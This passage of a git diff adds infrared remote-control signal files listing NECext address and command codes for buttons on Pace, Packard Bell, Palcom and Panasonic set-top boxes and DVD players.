00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 23 80 00 00 +command: 0D 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 23 80 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 23 80 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 23 80 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 23 80 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 23 80 00 00 +command: 21 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 23 80 00 00 +command: 28 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 23 80 00 00 +command: 29 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 23 80 00 00 +command: 2C 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 23 80 00 00 +command: 30 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 23 80 00 00 +command: 31 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 23 80 00 00 +command: 37 00 00 00 +# +name: av_select +type: parsed +protocol: NECext +address: 23 80 00 00 +command: 38 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 23 80 00 00 +command: 54 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 23 80 00 00 +command: 58 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 23 80 00 00 +command: 59 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 23 80 00 00 +command: 5A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 23 80 00 00 +command: 5B 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 23 80 00 00 +command: 5C 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 23 80 00 00 +command: 6D 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 23 80 00 00 +command: 6E 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 23 80 00 00 +command: 6F 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 23 80 00 00 +command: 70 00 00 00 +# +name: KEY_HELP +type: parsed +protocol: NECext +address: 23 80 00 00 +command: 81 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 23 80 00 00 +command: 83 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 23 80 00 00 +command: CC 00 00 00 +# +name: box_office +type: parsed +protocol: NECext +address: 23 80 00 00 +command: D5 00 00 00 +# +name: planner +type: parsed +protocol: NECext +address: 23 80 00 00 +command: F4 00 00 00 +# +name: active +type: parsed +protocol: NECext +address: 23 80 00 00 +command: FD 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_pacetwin/34,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_pacetwin/34,-1.ir new file mode 100644 index 000000000..258f33998 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_pacetwin/34,-1.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: power +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 00 00 00 00 +# +name: mute +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 0B 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 20 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 21 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 22 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 23 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 24 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 25 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 26 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 27 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 28 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 29 00 00 00 +# +name: red +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 2A 00 00 00 +# +name: green +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 2B 00 00 00 +# +name: yellow +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 2C 00 00 00 +# +name: blue +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 2D 00 00 00 +# +name: d_up +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 2E 00 00 00 +# +name: d_left +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 2F 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 30 00 00 00 +# +name: d_right +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 31 00 00 00 +# +name: d_down +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 32 00 00 00 +# +name: ch_up +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 33 00 00 00 +# +name: ext +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 34 00 00 00 +# +name: vol_up +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 35 00 00 00 +# +name: ch_down +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 36 00 00 00 +# +name: record +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 37 00 00 00 +# +name: vol_down +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 38 00 00 00 +# +name: tvdtv +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 3A 00 00 00 +# +name: return +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 3B 00 00 00 +# +name: menu +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 3C 00 00 00 +# +name: library +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 3D 00 00 00 +# +name: clip +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 41 00 00 00 +# +name: pause +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 44 00 00 00 +# +name: list +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 51 00 00 00 +# +name: guide +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 52 00 00 00 +# +name: exit +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 53 00 00 00 +# +name: text +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 54 00 00 00 +# +name: subtitle +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 55 00 00 00 +# +name: info +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 56 00 00 00 +# +name: play +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 57 00 00 00 +# +name: ffwd +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 58 00 00 00 +# +name: rew +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 59 00 00 00 +# +name: next +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 5A 00 00 00 +# +name: prev +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 5B 00 00 00 +# +name: stop +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 5C 00 00 00 +# +name: ch_up_2 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 5D 00 00 00 +# +name: ch_down_2 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 5E 00 00 00 +# +name: timer +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_xsat/34,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_xsat/34,-1.ir new file mode 100644 index 000000000..9164cc82d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_xsat/34,-1.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 0A 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 0B 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 0C 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 0F 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 10 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 11 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 12 00 00 00 +# +name: SKIP_DOWN +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 13 00 00 00 +# +name: FORMAT +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 14 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 15 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 16 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 18 00 00 00 +# +name: TV/RADIO +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 19 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 1A 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 1B 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 1C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 1D 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 1E 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 1F 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 58 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 9C 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 9D 00 00 00 +# +name: KEY_QUIT +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 9E 00 00 00 +# +name: SKIP_UP +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 9F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Packard Bell/Unknown_PackBell/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Packard Bell/Unknown_PackBell/16,-1.ir new file mode 100644 index 000000000..6386c079b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Packard Bell/Unknown_PackBell/16,-1.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_NUMERIC_STAR +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 00 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 01 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 02 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 03 00 00 00 +# +name: KEY_HELP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 04 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 05 00 00 00 +# +name: KEY_PHONE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 06 00 00 00 +# +name: Aux1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 07 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 08 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 09 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0B 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0D 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0E 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0F 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 13 00 00 00 +# +name: KEY_NUMERIC_POUND +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 14 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 16 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 17 00 00 00 +# +name: RMB +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1C 00 00 00 +# +name: LMB +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1D 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 40 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 41 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 42 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 43 00 00 00 +# +name: Message +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 44 00 00 00 +# +name: Aux2 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 45 00 00 00 +# +name: SRS +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 46 00 00 00 +# +name: Aux3 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 47 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Palcom/Unknown_DSL-6/192,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Palcom/Unknown_DSL-6/192,-1.ir new file mode 100644 index 000000000..0181c968a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Palcom/Unknown_DSL-6/192,-1.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 80 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 81 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 82 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 83 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 84 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 85 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 86 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 87 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 88 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 89 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 8A 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 8B 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 8C 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 8D 00 00 00 +# +name: Freeze +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 8E 00 00 00 +# +name: Speaker_on_off +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 8F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 90 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 91 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 92 00 00 00 +# +name: browse +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 93 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 94 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 95 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 96 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 97 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 98 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 99 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 9A 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 9B 00 00 00 +# +name: TV/Rad +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 9C 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 9D 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 9E 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: C0 00 00 00 +command: 9F 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: C0 00 00 00 +command: D4 00 00 00 +# +name: Alt +type: parsed +protocol: NECext +address: C0 00 00 00 +command: D8 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: C0 00 00 00 +command: DC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/128,0.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/128,0.ir new file mode 100644 index 000000000..a533998ca --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/128,0.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: TV/AV +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 05 00 00 00 +# +name: TV_VOL_+ +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 20 00 00 00 +# +name: TV_VOL_- +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 21 00 00 00 +# +name: TV_CH_+ +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 34 00 00 00 +# +name: TV_CH_- +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 35 00 00 00 +# +name: TV_POWER +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 3D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/160,0.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/160,0.ir new file mode 100644 index 000000000..143602592 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/160,0.ir @@ -0,0 +1,68 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: A0 00 00 00 +command: 20 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: A0 00 00 00 +command: 21 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: A0 00 00 00 +command: 32 00 00 00 +# +name: DVD/CD +type: parsed +protocol: NECext +address: A0 00 00 00 +command: 94 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: A0 00 00 00 +command: 9A 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: A0 00 00 00 +command: 9C 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: A0 00 00 00 +command: 9E 00 00 00 +# +name: PROLOGIC +type: parsed +protocol: NECext +address: A0 00 00 00 +command: B4 00 00 00 +# +name: CH_SELECT +type: parsed +protocol: NECext +address: A0 00 00 00 +command: BB 00 00 00 +# +name: SUBWOOFER_LEVEL +type: parsed +protocol: NECext +address: A0 00 00 00 +command: BC 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: A0 00 00 00 +command: F6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/160,16.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/160,16.ir new file mode 100644 index 000000000..0b86a2f33 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/160,16.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: SFC +type: parsed +protocol: NECext +address: A0 10 00 00 +command: 83 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/160,18.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/160,18.ir new file mode 100644 index 000000000..eaee8b0e9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/160,18.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: SUPER_SURROUND +type: parsed +protocol: NECext +address: A0 12 00 00 +command: 30 00 00 00 +# +name: MIX_2CH +type: parsed +protocol: NECext +address: A0 12 00 00 +command: AE 00 00 00 +# +name: SIMULATED_STEREO +type: parsed +protocol: NECext +address: A0 12 00 00 +command: EC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/160,28.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/160,28.ir new file mode 100644 index 000000000..94102f827 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/160,28.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: PLAY +type: parsed +protocol: NECext +address: A0 1C 00 00 +command: 0A 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: A0 1C 00 00 +command: 10 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: A0 1C 00 00 +command: 11 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: A0 1C 00 00 +command: 12 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: A0 1C 00 00 +command: 13 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: A0 1C 00 00 +command: 14 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: A0 1C 00 00 +command: 15 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: A0 1C 00 00 +command: 16 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: A0 1C 00 00 +command: 17 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: A0 1C 00 00 +command: 18 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: A0 1C 00 00 +command: 19 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: A0 1C 00 00 +command: 3D 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: A0 1C 00 00 +command: 49 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: A0 1C 00 00 +command: 49 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: A0 1C 00 00 +command: 4A 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: A0 1C 00 00 +command: 4A 00 00 00 +# +name: >10/-/-- +type: parsed +protocol: NECext +address: A0 1C 00 00 +command: 84 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: A0 1C 00 00 +command: 96 00 00 00 +# +name: FL_DISPLAY +type: parsed +protocol: NECext +address: A0 1C 00 00 +command: 97 00 00 00 +# +name: A/V_EFFECT +type: parsed +protocol: NECext +address: A0 1C 00 00 +command: E0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/160,34.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/160,34.ir new file mode 100644 index 000000000..911f48cc6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/160,34.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP +type: parsed +protocol: NECext +address: A0 22 00 00 +command: 00 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: A0 22 00 00 +command: 02 00 00 00 +# +name: SLOW_SEARCH_<< +type: parsed +protocol: NECext +address: A0 22 00 00 +command: 02 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: A0 22 00 00 +command: 03 00 00 00 +# +name: SLOW_SEARCH_>> +type: parsed +protocol: NECext +address: A0 22 00 00 +command: 03 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: A0 22 00 00 +command: 06 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: A0 22 00 00 +command: 33 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: A0 22 00 00 +command: 34 00 00 00 +# +name: UP/ON +type: parsed +protocol: NECext +address: A0 22 00 00 +command: 34 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: A0 22 00 00 +command: 35 00 00 00 +# +name: DOWN/OFF +type: parsed +protocol: NECext +address: A0 22 00 00 +command: 35 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: A0 22 00 00 +command: 36 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: A0 22 00 00 +command: 36 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: A0 22 00 00 +command: 37 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: A0 22 00 00 +command: 37 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: A0 22 00 00 +command: 47 00 00 00 +# +name: A-B_REPEAT +type: parsed +protocol: NECext +address: A0 22 00 00 +command: 48 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: A0 22 00 00 +command: 57 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: A0 22 00 00 +command: 80 00 00 00 +# +name: DISC_MANAGER +type: parsed +protocol: NECext +address: A0 22 00 00 +command: A1 00 00 00 +# +name: DISC +type: parsed +protocol: NECext +address: A0 22 00 00 +command: A4 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: A0 22 00 00 +command: AB 00 00 00 +# +name: MARKER +type: parsed +protocol: NECext +address: A0 22 00 00 +command: AC 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: A0 22 00 00 +command: AD 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: A0 22 00 00 +command: AE 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: A0 22 00 00 +command: B5 00 00 00 +# +name: PLAY_MODE +type: parsed +protocol: NECext +address: A0 22 00 00 +command: BB 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: A0 22 00 00 +command: C0 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: A0 22 00 00 +command: C4 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: A0 22 00 00 +command: C4 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: A0 22 00 00 +command: C6 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: A0 22 00 00 +command: C6 00 00 00 +# +name: DISC_SKIP +type: parsed +protocol: NECext +address: A0 22 00 00 +command: EB 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/160,4.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/160,4.ir new file mode 100644 index 000000000..d7195f10a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/160,4.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: CH_+ +type: parsed +protocol: NECext +address: A0 04 00 00 +command: 34 00 00 00 +# +name: CH_- +type: parsed +protocol: NECext +address: A0 04 00 00 +command: 35 00 00 00 +# +name: TUNER/BAND +type: parsed +protocol: NECext +address: A0 04 00 00 +command: A4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/176,0.ir 